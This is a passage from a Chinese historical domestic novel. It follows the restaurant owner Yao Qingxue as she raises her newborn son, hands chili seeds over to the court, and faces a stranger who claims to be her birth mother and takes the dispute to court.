“恭喜弟妹!”姚轻雪坐到床边,“二弟呢这么大的事他怎么不在场?” 周芸姝:“在前面会客呢,大哥不也不在?” “嗯。”姚轻雪点点头,木着脸道:“他要在曜儿不能睡这么快。” 韩泽喜欢逗弄韩曜,人家都困得睁不开眼了,他这个当爹的还不让人睡,晃孩子的小手玩儿。好几次都把韩曜惹急了。从出生到现在韩曜为数不多的哭闹大多跟他爹有关。 “噗嗤!”周芸姝笑出来,“想不到大哥竟有孩子气的时候。”她很难想象那么严肃正经的韩泽会欺负小孩,还是他亲儿子。 在周芸姝那说了会话儿,姚轻雪和婆婆一起离开。回到东院韩泽已经在床上了,他手欠地捏韩曜的小嫩脸。睡梦中的小娃皱着眉晃了下脑袋。 姚轻雪把他的手拍掉,“弄醒了你哄。” 韩泽翻了个身仰躺在床上呵呵傻笑,姚轻雪啧啧了两声:“要是让那些倾慕你的姑娘见到你现在这副呆样,你说她们会不会觉得被骗了?” “我骗谁了?”韩泽抓过她的手,“我可没骗你,当初是你先说喜欢我,记得吗?在严州府。” “是吗?我不记得了。”姚轻雪不认,“定是你喝多了,记错了。赶紧老实交代,是哪个姑娘跟你表达爱意了?” 不认也就罢了还倒打一耙,韩泽倒在床上笑个不停。“孩子都生了怎么反倒害羞了。”半晌他含糊道:“放心,没有旁人,除了你不会再有别人。” 姚轻雪嘴角弯了弯,“睡吧,明晚别忘了带大家去饕餮楼,我都安排好了。” 男人轻声“嗯”下,很快便起了鼾声。韩泽几个手下没来韩曜的满月宴。韩泽打算明晚下直后请他们去饕餮楼。 晚上姚轻雪要照顾儿子,睡睡醒醒的,她起来时已经很晚了,韩泽早就上直去了。 等她收拾妥当已经快到午饭时间了。姚轻雪给儿子喂完奶便去了饕餮楼。生孩子前后她有三个多月未去了。她人虽没到,但让雨竹和香云核对账目的事没变。 店里的伙计看见许久未见的东家,都停下手里的活打招呼。姚轻雪让他们都去忙,她找徐成、乔旺了解这几个月饕餮楼的情况。 今年夏秋饕餮楼凭借青椒大赚一笔。安定庄种辣椒的事也瞒不住了。有人去偷菜,不偷别的专偷辣椒。为此,村长特意安排了青壮年日夜轮流看守。即便如此,种子还是流了出去。 “明年怕是别家酒楼也该有辣椒了。”徐成惋惜道。他在饕餮楼一年赚了在别处十年的银子。辣椒传出去饕餮楼的生意必定受到影响,这也直接关系到他的收入。 “这也没办法,村民严防死守也没守住。”辣椒让饕餮楼一家独大狠赚了两年姚轻雪很知足。是时候把辣椒散出去了。 饕餮楼自开业以后一直很顺,几乎没有大事发生,小事也不值得一提。徐成和乔旺就解决了,所以也没什么要说的。因为晚上韩泽和下属要过来,姚轻雪便没急着回家。 姚轻雪有些日子没看见韩羽、杜七等人了。“许久未见大家都还是老样子啊。”韩泽的手下她差不多都认识。 韩羽道:“饕餮楼太火了,我们想来都没位子。” “是我考虑不周,今后大家想来随时可以。这杯酒就当赔不是了。”姚轻雪拿起韩泽的酒杯就要喝。 韩泽一把按住:“你当娘了你忘了?” 姚轻雪一拍脑门:“还真忘了。” 韩泽端起酒杯对手下道:“我替她喝。” 下直时间大家都很放松,杜七调侃道:“二位是妇唱夫随啊。” 韩泽不置可否。姚轻雪等到他们吃完才和韩泽一起回家。 看见儿媳终于回来了,韩母怨怪道:“你也是,一扔就是一天,把曜儿饿得哇哇哭。” 姚轻雪不解:“不是有奶娘吗?还能饿着他?” 春佟忙道:“小公子不喜欢吃奶娘的奶水,饿的没法才勉强吃两口。” 之前姚轻雪自己喂孩子,韩曜没吃过奶娘的奶水。她原本想等出了月子外出时可以把孩子交给奶娘。若是不吃奶娘的奶,那可麻烦了。 第112章 第112章带孩子 姚轻雪走到床边俯身看儿子。终于见到娘了,韩曜委屈的直瘪嘴。可怜巴巴的样子可把韩母心疼坏了,催促道:“快给他喂奶吧,我回去了。” 母亲走后,韩泽戳戳儿子的小肉脸:“谁的奶不一样,怎么这么挑。” 姚轻雪低头解开衣襟:“有其父必有其子。” 韩泽不戳儿子脸了,该捏媳妇圆润的脸颊,“像我怎么了?不好吗?” “别闹,信不信你儿子一哭,母亲立马回来,到时有你好看。” 信,韩泽当然信,如今在韩母心里谁都比不过她孙子。他讪讪地放下手,也不敢去逗儿子。韩曜真是饿很了,吃的特别用力,一边没够,换了另一边才吃饱。吃饱就开始打哈欠,但好像怕娘走,眼睛始终跟着姚轻雪动。 姚轻雪也心疼了,她躺下轻轻拍着儿子:“睡吧,娘不走。” 韩曜歪着脑袋靠近母亲很快睡着了。韩泽从姚轻雪身后伸手捏儿子的小手,应该是白日没怎么喝奶睡觉,现在他爹怎么晃都没醒。 哄睡了孩子,夫妻俩并排躺在床上说话。 姚轻雪:“我想把辣椒种子献出去,你觉得如何?” 韩泽有些意外,虽然辣椒种子传出去一些,但想要普及开来得需要几年时间。趁这几年饕餮楼仍能大赚。“你舍得?” “舍不得也得舍,我是从皇上手里盘下的酒楼,差不多就行了。”钱是赚不完的,恰当时机收手才是明智之举。 “你打算怎么做?”韩泽习惯性要把手放到她肚子上,等放上去才反应过来孩子已经生出来了。他没把手拿下来,摸了摸后又捏了捏。生儿子前这里平坦紧实,现在软绵绵的一团,手感很是不错。 “没想好。”姚轻雪被他揉肚子揉得很舒服,舒服得昏昏欲睡。 韩泽想了想,“若是直接把种子送出去,最后怕是会集中到某些人手里,不如交给朝廷。不限于京城,整个大卫都可以种,利于百姓相信皇上会很高兴。” 姚轻雪没有意见,她只想把种子散出去,可又不想出钱出力,交给朝廷再好不过。 三日后韩泽进宫,隔天便有户部官员去安定庄拉走一车辣椒种子。 户部官员回去把在安定庄见到的情景跟上司和同僚一说,户部尚书觉得惊奇,便在皇帝面前说了一嘴。 不久皇帝就把韩泽叫进宫中询问:“安定庄家家户户都有猪舍和暖棚可是真的?” 韩泽:“回陛下,确有此事。” 去年冬天的暖棚和猪舍养猪让安定庄的村民尝到了甜头,今年开春新建了不少猪舍,现在庄稼刚收完没多久就又开始建暖棚。 若是从某个高处看安定庄,大概会有恍惚的感觉,大卫应该没有哪个村子占地面积这么大,建那么多房子和暖棚。不然也不会把户部官员都惊住。 “若是朕没记错的话,安定庄以前住的都是无家可归的伤残老兵,是你祖父和父亲把他们安置在那里,田地也是你韩家的,这些人竟有这等本事。” 皇帝说完 停了一瞬,见韩泽没有往下接的意思,他继续道:“朕听闻都是你妻子的功劳,可是真的?” 韩泽:“内子不敢贪功,主意的确是她想出来的,但建房劳作都是安定庄的村民。” “她如何想得出这些主意?难道她懂种田?懂养家畜?”皇帝不解。据他所知姚轻雪从小在京城长大,没接触过土地和家畜的人怎么会懂这些? “其实并不懂,但她胆子大,敢尝试。或许是老天眷顾,她的想法都一一得以实现。”韩泽这话也是实话,姚轻雪确实一知半解,即便懂也懂的不多。但奇就奇在按照她所说的去做都成功了。 “快跟朕说说是怎么回事?”皇帝很好奇。 韩泽便把姚轻雪去年冬天的尝试说了出来,“饕餮楼的猪肉和蔬菜基本都来自安定庄,蔬菜除了辣椒其他的倒没什么稀奇,听内子说食客们反应猪肉的口感很好。” 皇帝听后大喜,“暖棚造价高普通百姓难以效仿,但养猪的法子值得推广。”先别管口感如何,若能扩大养殖百姓受益。 “臣愚钝,之前并未想到将此法推广出去,陛下爱民之心天地可鉴。”韩泽拱手道。 皇帝摆摆手,“你我就不要说这些客套话了,姚轻雪把辣椒献出来,想必养猪的法子也不会私藏。” 韩泽道:“自然不会,内子说过有人想学尽管去安定庄。” “不计私利,好!”皇帝龙颜大悦,“你这个妻子娶得好,不瞒你说,当初听说你要娶一个厨娘,朕都替你觉得可惜。如今看来朕和那些人一样浅薄。”真应了那句话人不可貌相,谁能想到一介女子竟不声不响地做出这么多事。 韩泽谦虚道:“陛下谬赞!她也只是在吃食上有点本事罢了。” “润青你不够坦率,若是你妻在此定会接下朕的夸奖。” 这事姚轻雪还真干得出来。 韩泽一笑:“陛下圣明!” 韩泽从宫里回来带了不少玩具,皇帝赏给韩曜玩的。姚轻雪拿起镶金边的拨浪鼓问:“这上面的金子是真的吧?” “陛下给的,自然是真的。” “那这个不给他玩,换个木头的。”姚轻雪可不舍得把金子给孩子玩。 韩泽挑眉,“儿子的玩具都要抢?你这是欺负曜儿不懂事啊。” “给曜儿留着,将来给他儿子玩。”姚轻雪振振有词。 韩泽抽出她手里的拨浪鼓放进盒子里,“我儿子还没玩,凭什么给他儿子留。你好歹是饕餮楼的东家能不能大方些。”他早看出媳妇是不舍得拨浪鼓上面的一圈金边了。 在爹爹的争取下,韩曜的金边拨浪鼓总算是保住了,不过他现在这么点大什么都玩不了。 八卦锁、九连环和华容道却颇得芽芽与韩娇的喜欢。芽芽现在每天都来将军府和韩娇一起读书学习。午饭也在将军府用,午休时她就跑来看小外甥,韩娇吃完午饭也会过来。 说来也是奇怪,芽芽固定时间来过几次后,韩曜像是知道似的,到那个时间就不睡。 两个小姑娘趴在床上跟他说话,韩曜“哦、啊”一句不拉地接下。 韩娇惊喜道:“他能听懂。” 姚轻雪心想能听懂才怪,嘴上却道:“能听懂你就跟他说。” 中午和姑姑姨姨说完之后,韩曜就能睡个大觉。姚轻雪乐得如此,每到中午她就摆好零食,放好玩具等着两个妹妹过来、给她哄孩子。 不是她奴役童工,实在是每天守着小家伙太过枯燥。自那日她把韩曜饿着了,韩母每日都来东院,一是瞧瞧孙子,二是盯着儿媳不准她外出太久。 姚轻雪无奈也心疼儿子,也只能暂时歇了去饕餮楼的心思。 然而韩曜每天大部分时间在睡觉,醒了就吃奶,她不能离开太久。姚轻雪闲得无聊,便去找周芸姝闲聊。自打她怀孕,韩母也不敢让周芸姝管事了。她也跟姚轻雪一样每天都很闲。 韩家除了她们俩还有一个闲得发慌的人就是韩莺。韩莺的婚事定在明年春暖花开的三月。女子在家中待嫁的日子不好总往外跑,于是糕点铺子便交给旁人打理,她每天跟韩母学管家和交际。 以前韩母纵着她,现在女儿要嫁人了,身为母亲又生出诸多的不放心,便想把自己知道的东西一股脑地教给韩莺。 姚轻雪和周芸姝吃着果子聊着天,大多数是周芸姝问大嫂关于孕期的一些事,毕竟姚轻雪在她前面生了。 两人正说着,就听屋外传来喊声:“大嫂、二嫂!” 周芸姝道:“莺莺这是怎么了?听声音好像很累。” “哼,临时抱佛脚能不累吗?”她话音刚落,房门被推开,韩莺满脸哀怨、步履蹒跚地走进来。 她先去找大嫂,婢女说姚轻雪来了这里,她便追了过来。当她看见两位嫂嫂靠在榻上,两人中间的方桌上摆着水果糕点瓜子等好些吃食,顿时哀嚎起来:“你们好悠闲,母亲为何偏揪着我不放啊?” “噗。”姚轻雪往面前的篓子里吐掉瓜子皮,“因为你要嫁进别人家。” “不公平。”韩莺一屁股坐到床边,“我嫁人了难道就不能像嫂子们这样自在吗?” 周芸姝给她倒了杯茶,“我们也只是在自己房里这般,在外你何时见我们如此了?再者没有几个高门大户有咱们韩家这么好的风气。司马澹可能会纵着你,但司马家不止司马澹一人,他的亲人朋友甚至官场上的同僚你都要很好地应对,不然第一个不放过你的就是你婆婆。” 姚轻雪斜睨着她:“你以为情投意合成就好事就算完了?嫁人只是开始,成亲后你要做的事还有很多,母亲不想你丢脸,不想你被人看低,更不想你受委屈,做了十几年快乐小鸟该进笼了。” “被大嫂这么一说,嫁人好像也没那么美好。”韩莺垂头丧气道。都成笼子里的鸟了,哪还有快乐啊? 第113章 第113章认亲 怕把韩莺吓着,周芸姝赶紧安慰:“也没有那么严重,只是眼下的境况你该收收心了。嫁人后行事不能像在家里这般任性。在家有父亲母亲还有哥哥们护着你,在婆家只有丈夫是你的依靠。若是夫君不护着你,能靠的就只有自己,若是婆家好相处万事大吉,若是规矩多你自己得应付得来。女人嫁人以后有很多的不得已,我们也是为你好。” “瞧你那没出息样儿,别忘了你身后是镇远将军府,只要你不行差踏错谁能把你怎么样?只要 你自己立得住腰杆便挺直了。“姚轻雪说话就直了些。 “你们说的对。”韩莺突然来了精神,“大嫂在人后不成体统,但在外人面前从来没出过差错,母亲都说小看你了。我只要像大嫂一样在外人面前装得好,谁管得着我背后做什么。” 韩母曾担心姚轻雪教养差小家子气,跌了将军府长媳的份,后来逐渐发现她这个儿媳为人处世不比精心教养出来的大家闺秀差,反而有那些闺中养不出来的活泛和灵气。 这样的人即便没有他儿子,她也一样会过得好。明白这一点的韩夫人就希望女儿也能如她大嫂一般。如此即便将来他们不在了,有个万一韩莺自己也能应对。 “什么叫不成体统?母亲竟然这么说我!”姚轻雪“噗、噗”吐掉嘴里的瓜子皮,“我得找母亲说理去,我哪里不成体统了?我多好啊!” “不是不是我说错了,是随心所欲,嘿嘿,大嫂息怒。”韩莺伸出胳膊拦住作势要床的大嫂并讨好地说道。若让母亲知道她口无遮拦把不该说的话往外说,定得训她。 周芸姝看着姑嫂俩逗趣也不插嘴只是抿嘴笑。她成亲前母亲也有过担忧。韩浩是庶子,上面不止有妾室的亲娘还有嫡母。但嫁过来之后担忧的事都没有发生。嫁给意中人让她欢喜,韩家的氛围又给了她意外之喜。长辈慈爱,妯娌、姑嫂都很和睦,如今又有了孩子,她对现在的生活很满足。 插科打诨说了会话儿总算让韩莺有了精神。周芸姝看着姚轻雪面前小篓子里的瓜子皮,问道:“大嫂!你要给曜儿喂奶,吃这么多瓜子可行?” 姚轻雪手一顿,光顾着说话,忘了她还要喂孩子。 “快拿走。”韩莺让丫鬟把桌上的瓜子、带壳的全拿走,“刚刚母亲还说你没有当娘的自觉,我还不信。” “母亲又说我?”姚轻雪不乐意了,“母亲怎么总在背后说我呀?哎,你看见了吧,给人当儿媳就是不好当。我这么好的儿媳都要被婆母说,若是你不好好修炼自己,不得整日被婆婆说教。” 韩莺瞪她:“大嫂你少作怪,我将来的婆婆若是像母亲待你这般我就知足了。母亲也只是跟我念叨几句,在姨母舅舅舅母面前她都说你的好话,谁说你半句不好母亲都不高兴。母亲说了在家里怎么都行,在外人面前一定要护着自家人,你别不知足。” “知道了,这不是逗你嘛,我哪敢去找母亲理论,那她不得像对你一样给我立规矩?我不傻。” “哼,算你识趣。”韩莺哼道。 瓜子不让吃,姚轻雪总觉得闲得慌,周芸姝提议打牌。 “好。”姚轻雪拍手赞同,“但光打牌没意思,得有彩头。”她把腰间的荷包取下来,从里面掏出一把银瓜子。韩莺和周芸姝也拿出银子,妯娌三人开始玩牌。 这日以后,姚轻雪喂完孩子就来周芸姝院里,韩莺听完母亲说教也会过来。三人每天靠打牌打发时间,顺便聊聊京城八卦或是说些女人之间的悄悄话。 韩莺一个未出闺阁的姑娘,经常被两个嫂子逗得面红耳赤,却又总是忍不住打听。韩母知道后也是忍不住扶额。该她嘱咐的事都让她两个嫂子教了。 一晃一个多月过去,姚轻雪趁儿子睡觉去了饕餮楼。她刚到门前便被一个妇人扯住衣角。曹叔和护卫都没反应过来。只听那妇人道:“轻雪,我的女儿!” 突如其来的变故让姚轻雪一愣,女儿?她抬手想拿掉扯着自己衣服的手,奈何妇人太过用力,她愣是没推开。 曹叔和护卫强行将妇人的手指掰开,那妇人挣扎着喊道:“姚轻雪我是你亲娘,你不能不认生你的娘啊!当年你被人抱走,娘对不住你,是娘没看好你。” 此时正是中午,来饕餮楼用膳的客人络绎不绝,妇人的喊叫很快引来人围观。就连楼上雅间的食客也推开窗往外看。 曹叔赶紧拿出帕子塞进妇人的嘴里,那妇人边挣扎边哀怨地看着姚轻雪。 若是就这样把人带走,怕是会引起流言蜚语。而且这妇人能叫出她的名字,想必对她有些了解。姚轻雪抬手止住护卫。“你说我是你女儿可有凭证?胡乱攀扯我可是要送你去见官的。” 护卫拿走妇人口中的帕子,妇人忙道:“二十年前的二月,那天下着大雪娘把你放在屋里去了趟茅房,等回来你就不见了。娘找了你二十年啊,总算找到你了。原来你是让姚家给抱走了,可恨的姚家让我们母女分别二十、” “你说的这些不足以证明你丢失的女儿是我。”姚轻雪冷声打断她。 “你就是我女儿,你怎么能不认娘呢?亲娘认自己的女儿要什么凭证啊?” “笑话。”乔旺走上前道,“无凭无据就让人认你做娘,天下哪有这般道理。饕餮楼不是你能撒野的地方,赶紧走。” “女儿不认亲娘,没有天理啊,我不活了……”妇人坐在地上撒泼。 徐成皱眉:“东家,我看还是送去官府吧,是真是假自有衙门去断。” “要送你亲娘见官?我找了你二十年啊二十年,你就这么对我?你是将军府的儿媳,你不想认我,官府也帮你说话,你这个不孝女,怎么忍心这么对你亲娘。” 看来把她的身家背景都查了,姚轻雪高声道:“二十年前若不是祖父心善把我捡回家,我必定会死在雪地里。我是被人丢弃的,而你的女儿是被人抱走,显然我不是你女儿,你找错人了。” 妇人哭喊道:“没错,你就是我女儿,我不会认错,你和我年轻时长得一模一样。你怎么在雪地里我不清楚,也许是那姚老头说谎。” “住口。”姚轻雪耐心告罄,厉声道:“莫说你不是我娘,即便是,我姚轻雪也不会认把我扔掉的娘。今生只有姚家二老是我的亲人。曹叔,送她去衙门。” 妇人还想说话,护卫连忙把她嘴堵上,架着胳膊把人带走。姚轻雪转身脸上便挂了笑,对围观的人道:“对不住,让大家看笑话了。” 楼上有人道:“无妨,就当解闷了。只是没想到姚老板还有这样离奇的身世。” “一个弃婴侥幸活下来,不值一提。”姚轻雪脸上带着淡淡的笑意。 人群中有人说:“那人一看就是冲着钱财来的,就她那副尊荣怎么能生出您这样的人中之凤。” “说什么和她年轻时长得一模一样,根本就是一点相似之处都没有。” “多谢各位理解!”姚轻雪颔首,“我的确是祖父捡回来的,没有祖父和祖母这世上就不会有我这个人。虽生育之恩浩荡难报,但把刚出生的孩子置于雪地,无疑等于谋杀。亲生爹娘又怎样?无论什么样的苦衷都不是他们丢弃杀害亲生女儿的理由。于我而言养之恩大于生之恩,我这辈子只姓姚。” “姚老板说的好,这样的爹娘不认也罢。” “就是,这么狠心的娘认她作甚?来了也要把他们打出去。” 安抚好食客,姚轻雪走进酒楼。刚刚那妇人头尖额窄、两腮少肉,光看面向不是良善之辈。而且她在二月大雪天被爷爷抱回家的事街坊邻居众所周知,想了解这些并不难。这人只怕是想从她身上捞好处。 可惜她不是原身,更不是愚孝之人,血缘关系对她没有束缚。即便那妇人是原身亲娘,她也不会认。 乔旺倒了杯茶放到姚轻雪面前:“东家不必放在心上,以您现在的身价和地位,今后这种事怕是还会有,毕竟贪心的人不少。” 这时房门被敲响,乔旺让人进来,来人是鲁冬。 鲁冬躬身行礼:“东家,小弟他们说那个女人在饕餮楼外转了有几日了,因她只是在路边坐着并无其他举动,所以大家也就没有多想。” 小弟他们是和鲁冬一样的孤儿,在饕餮楼靠给客人跑腿赚点银钱。没活时便在角落里待着,很少会有人注意。但恰恰是这些孩子比乔旺他们更早了解食客们的动向。 “看来她是专门等您。”乔旺问:“要不要派人通知大少爷?” “算了,他也忙,既然已经送官就交给京兆府吧,也许吓唬一下她就慌了、走了,我在这等结果。”姚轻雪在饕餮楼等到申时正曹叔才从衙门回来。 “曹叔!怎么样了?” 第114章 第114章放宽心 曹叔脸色不大好,“挨了二十板子仍一口咬定少夫人是她女儿,诬陷你爷爷趁她不在偷走了 您。府尹大人只能按律查案,按规定您和姚家二老择日得上堂问话。” 雨竹气愤道:“就该把她带回将军府审问,害的少夫人上公堂。”去衙门过堂可不是什么好事,少夫人什么身份,怎能受这份罪。 姚轻雪看了眼气呼呼的丫鬟:“那么多人看着,把人带走认下还好,不然怕被有心人利用,对将军府不利。”韩家不可能没有敌人,韩泽这么多年得罪过不少人,她能做的就是少给他找事儿。 雨竹自知失言,忙告罪:“奴婢不该多嘴,奴婢知错。” 时间不早了她带人回家,韩母韩莺都在东院,韩曜看见娘亲回来便不对奶奶和姑姑笑了,眼睛跟着姚轻雪转。见娘亲不理他,小家伙“啊、啊……”地叫。 “小没良心的。”韩莺捏捏侄子的小肉脸,“见了娘就不认姑姑了。” “怎么回来这么晚?曜儿都等你大半天了。”韩母抱起孙子准备交给儿媳。 姚轻雪出门前留了些奶水,韩曜饿时丫鬟给温一温用勺子喂了些。所以今日他没怎么饿也就没哭,但肚子也没太饱。 韩母见她脸色不大好,“怎么了?出了什么事吗?” 姚轻雪换完衣服接过孩子坐在床边给儿子喂奶。“是出了点事。” 秋月福了福身,“禀夫人,今日有一妇人来认亲,非说少夫人是她失踪二十年的女儿。”秋月把今日酒楼发生的事说了出来。 “竟有这事。”韩母皱眉,“能确定那人不是你生母吗?” 姚轻雪摇了摇头,“不能。” 雨竹:“回夫人,那妇人和少夫人一点都不像,看着心术不正的样子,不大可能是少夫人的母亲。” “光凭样貌难以断定。”韩母摇摇头,“孩子和母亲不一定就有相像之处。”她看向姚轻雪,“既报官那便公事公办,若是亲娘事后好生安置就是。若心怀不轨,哼,她后半辈子别想好了。” 姚轻雪道:“这也是我担心之处,她明知我背后有将军府,却还一口咬定我是她女儿,若是假的她就不怕事情败露丢性命吗?” 普通百姓都怕招惹权贵,那妇人在没有任何证据情况下一口咬定自己是她女儿,要么她不怕死想以命博财,要么就可能是真的。 “你怎么想?不想认?”韩母问儿媳。 姚轻雪没有说话,除了姚福和刘氏,她对原身的爹娘没有半分感情,有什么好认的,但这话说出来便是不近人情。 韩莺:“都把嫂子扔了,认什么认,亲的也不认。” “给我听好了,以后在外面即便心里这么想也不能这么说。在世人眼中只有不孝的子女,没有无不是的爹娘。不要让自己成为众矢之的。” 韩母教育完女儿,又对儿媳道:“放宽心,没多大点事,区区妇人翻不起风浪。”她也看出来了,即便那妇人是亲娘,儿媳对她也没好感。没感情事情就好办。 韩母领着韩莺走了,韩曜吃饱没多久睡着了。姚轻雪让人看着儿子,她要在晚膳前回一趟娘家。 爷爷奶奶正在用饭,姚家没有回来太晚的人,所以晚饭要比韩家早。 “吃了没?”刘氏问。 芽芽:“有甜醋肉,姐,很好吃的,你吃点吧。” “不了,你们吃。”姚轻雪坐到一旁的椅子上。 刘氏重新坐下端起碗:“这会儿过来,有事?” 姚轻雪看着正在吃饭的三人,不知怎么开口。他们也许更不希望有人来认她。 姚福见她不说话,但脸色凝重明显有事,便放下碗筷。“咋了?出了什么事?” 刘氏也感觉不对,孙女像来是有话直说,脸上也很少有愁容。“有事你就说。” 芽芽也看向姐姐。 姚轻雪轻轻叹了口气,把事情说了。 刘氏筷子没拿稳,掉到碗碟上发出清脆的响声。“你亲、亲娘?”姚福也是一惊,半天没说话。 芽芽饭也不吃了,“姐姐的亲娘?” “还不确定。她一口咬定是爷爷把我从她家偷走。不能让这种人胡乱攀咬,人已经送去衙门了。” 刘氏怒道:“放她娘的屁,她家在哪儿你爷爷怎么知道?去她家偷什么孩子。定是她自己把孩子丢了,如今反悔想要要回去。” 话一出口刘氏突然觉得不对,这么说不就是承认那人是孙女的生母了嘛。随即改口道:“那人定是见你发达了,想冒认你为女儿,如此便能从你身上捞好处。” 姚福:“当初捡你时虽然没人看见,但后来周围几条街的人都知道。我也在那条巷子附近问了很多人,都说没人丢孩子,我和你奶这才给你上了户籍。她若诚心想找,不至于现在才找来。” 姚轻雪:“那人多半不是我娘,但既已送官就得按照流程来。府尹大人也许会派人询问,爷爷奶奶大概得去公堂与那妇人对质。” 一听还要去衙门过堂,老两口顿时坐不住了,老实本分的人最怕去衙门。姚轻雪安抚道:“去衙门也不怕,您二老只管照实说,凡是有我呢。” 姚轻雪看着二老,“爷爷奶奶!你们才是我的亲人,即便是我的生身父母也越不过你们。就像奶奶说的那妇人多半是听说了我的身世,所以想侥幸认下我得些银钱。即便她是我亲娘,最多按律给她养老送终。一个抛弃过我的人,我不会承认她。” 孙女都这么说了,老两口稍稍放了心。刘氏道:“上堂就上堂,衙门咱们又不是没去过,没做亏心事不怕。” 姚轻雪一笑,“还是奶奶顶事。”刘氏现在吃的好没有烦心事,人胖了,心疾也很久没犯过了。 刘氏被她说乐了,“这事我们知道了,我和你爷在家等着就是,衙门来人我们就跟着去,你快回去吃晚饭吧,被让姑爷等。” “好,那我回了。”姚轻雪起身,“有什么事我会派人过来告诉你们,家里有事就让桃花去将军府找我,最近我都在家。” “姐!”芽芽扯住她的手,姚轻雪从她眼里看到了不安。 “不怕。”姚轻雪摸摸妹妹的头,“我跟爷爷奶奶说这事并没有背着你,就是要让你知道我们才是一家人。亲生爹娘也不如你们对我重要,所以没什么好担心的。” “嗯,我信姐姐。”芽芽点点头抱了抱姚轻雪。“回去吧,不然曜儿该哭了。” 刘氏笑着道:“你妹妹可惦记曜儿了,每天回来都说小外甥如何如何,我们耳朵都快听出茧子了。” 芽芽红着脸不说话,姚轻雪笑了,亲人有他们就够了。 送走孙女关上门,刘氏不安道:“老头子你说那妇人是不是雪儿的亲娘?万一是可咋办?雪儿嘴上说不认,但哪有孩子不认娘的道理?” “我怎么知道是不是。”姚福心里也没底,“雪儿既然说了便不会骗咱们,退一步讲雪儿都这么大了,不是当年雪地里的小娃娃,她想认就认,她陪咱们过了近二十年也够了。” “哎!”刘氏重重叹口气,这么好的孙女,她不想给别人啊。 姚轻雪到家,韩泽已经回来了,韩曜睡了一个小觉,这会儿正在他爹怀里吐泡泡。 “回来了!”韩泽抱着儿子迎过来,他把韩曜递过来:“快亲亲娘亲。” “啊~哦”韩曜张着小嘴呼她娘脸上,等他离开时粘在脸上的口水拉出很长一条。 姚轻雪:“……” 韩泽大笑,小家伙见他爹笑也跟着笑,露出光秃秃的牙床。姚轻雪心里那点郁气瞬间没了。她抱过儿子在他小嫩脸上亲了又亲。韩曜呵呵笑。 韩泽也跟着凑热闹,他不是亲儿子而是亲媳妇,韩曜张 着两只小手啊啊叫,看样子也想亲亲,姚轻雪就把脸凑过去让他呼一脸口水。 一家三口闹了会儿,韩泽突然问:“心情好些了吗?” “你知道?” “回来母亲便与我说了。”韩泽接过儿子在地上踱步,“明日我亲自去趟府衙,别忘了我是干什么的,真假一问便知。你大可不必为此事烦恼。” 姚轻雪坐下喝了口水,“那妇人多半不是我生母,但我又担心突然多个麻烦,以后的日子可有的烦了。” 以前姚家虽然清苦,但姚福和刘氏都是非常好的人,对姚轻雪跟亲生的没两样。后来嫁到韩家也是家庭和睦,没有亲人间的龌龊和烦恼。若是多了个亲娘,姚轻雪几乎可以想象她会如何作梗。不能怪她把人想得太坏,把孩子扔掉的爹娘能是什么好人? 韩泽叹口气:“你能干我知道,但不要什么事都想着自己解决。你是不是忘了你嫁了人?还是了不得的男人。只要你不在意,任何人我都会给你处理干净。” 姚轻雪两手拄着下巴,隔着桌子笑眯眯地看着抱孩子走来走去的男人。“当然没忘,我夫君有多厉害我最清楚不过。” 韩泽脸上一热,别开眼。“知道便好。”他低头瞧瞧往他胸口钻的儿子,“他又饿了。” 姚轻雪喂儿子吃奶,韩泽作势要吃,韩曜抬起小脚踹他爹脸、不给吃。 韩泽抓住他的脚丫晃,“小没良心的。” 这是今日韩曜第二次听见这话,上一次是姑姑,这一次是亲爹。小家伙吐掉嘴里的奶,冲他爹:“啊!” “不给,就吃这个。”韩泽张开嘴把儿子的小脚丫塞进嘴里。 姚轻雪笑,自从有了韩曜,韩泽越发幼稚了,吃孩子脚丫的事也干得出来,说出去谁会信? 第115章 第115章过堂 次日一早还不等韩泽去府衙,便有衙役来将军府通知今日府尹大人开堂审理姚轻雪拒认亲生父母一案。 韩泽问衙役:“怎么这么急?” 同朝为官只要不是敌对关系,一般这种情况府衙通常会压个两三天再审,给同僚一点时间。大理寺与京兆府常有往来,韩泽和京兆府尹柳锦程关系还不错,不然也不会是柳锦程亲自审这个案子。照理柳大人不该不给他缓冲时间。 “韩少卿有所不知,那张杨氏的男人张四今早去刑部击鼓喊冤,状告府尹大人滥用私刑殴打他妻;告姚家偷他女儿;告尊夫人忤逆不孝。”衙役看了一眼脸色阴沉的大理寺少卿,“刑部已派人来了府衙,府尹大人不得不尽早审问。” 韩泽嗤笑一声:“一节平民竟然知道刑部衙门冲哪儿开,真是奇了。” 衙役:“那张四言辞凿凿有证据证明尊夫人是他们丢失的女儿。问什么证据他却不肯说,非要等上了公堂才愿拿出来。这件事闹得有些大,私下里怕是不好了了。” 证据?韩泽眉头皱起,昨日那妇人独自去饕餮楼认亲,言语中漏洞百出,根本拿不出有力的证据,今早他男人大费周章惊动刑部才拿出证据。面对丢失二十年的女儿还能这般算计,怎么看都不对劲。 “刑部监审府尹大人不好过于偏袒,柳大人让卑职转告韩少卿要有准备,此事怕是不简单。”衙役把话送到便走了。 若是寻常人喊冤,这种小案子刑部大概理都不会理,但牵扯上大理寺少卿便不同了,刑部不会放任不管。 韩泽面色凝重,姚轻雪的心也提了起来。“昨日只有一妇人去了饕餮楼,并未见到他男人,他们这么做似乎笃定我不会认。” 韩泽:“先去饕餮楼将动静闹大,故意让你觉得她是骗子,然后被送去衙门,今日再去刑部喊冤。这不是寻常人能想得出来的法子,也不像是认亲。”更像是早就算计好的。 不是认亲是什么?冲她还是冲韩泽?姚轻雪想了想,“不然我先把人认下来,让衙门撤了案子。认下后把人安置好,若是图钱那就给钱,等事情过去后再做处置。” “怕是没那么容易。”韩泽摇摇头,“若只为息事宁人认下,事后处置了人,忤逆不孝便彻底做实了。而且这背后是否有他人插手还不确定。” 忤逆不孝为律法所不容,若是做实了可能会受到惩罚,届时定会连累身边人。姚轻雪懊恼:“早知会有这么多麻烦,昨日就该把人带回来,是我草率了。” 韩泽拍拍她:“有人诚心找麻烦,躲是躲不过去的。去接爷爷奶奶,我们去府衙。” 姚轻雪派车去姚家接人。韩将军和韩母知道府衙来人忙来东院。 了解事情原委后韩母道:“认亲都快搞出来三堂会审了,那妇人到底是什么来头?” “暂时不知。”韩泽来到床边捏捏儿子的小手,韩曜在睡梦中砸吧砸吧嘴继续睡。 姚轻雪道:“母亲,曜儿劳烦您照看。”她几时能回还不确定。 “放心吧,曜有我呢。”韩母走到床边看了看熟睡的孙子,而后对姚轻雪道:“若是生你的爹娘,先别管德行如何把人认回来就是,多养两个闲人罢了。若不是,咱们将军府也不是泥捏的。” 韩父道:“用不用我陪你们一道去?” 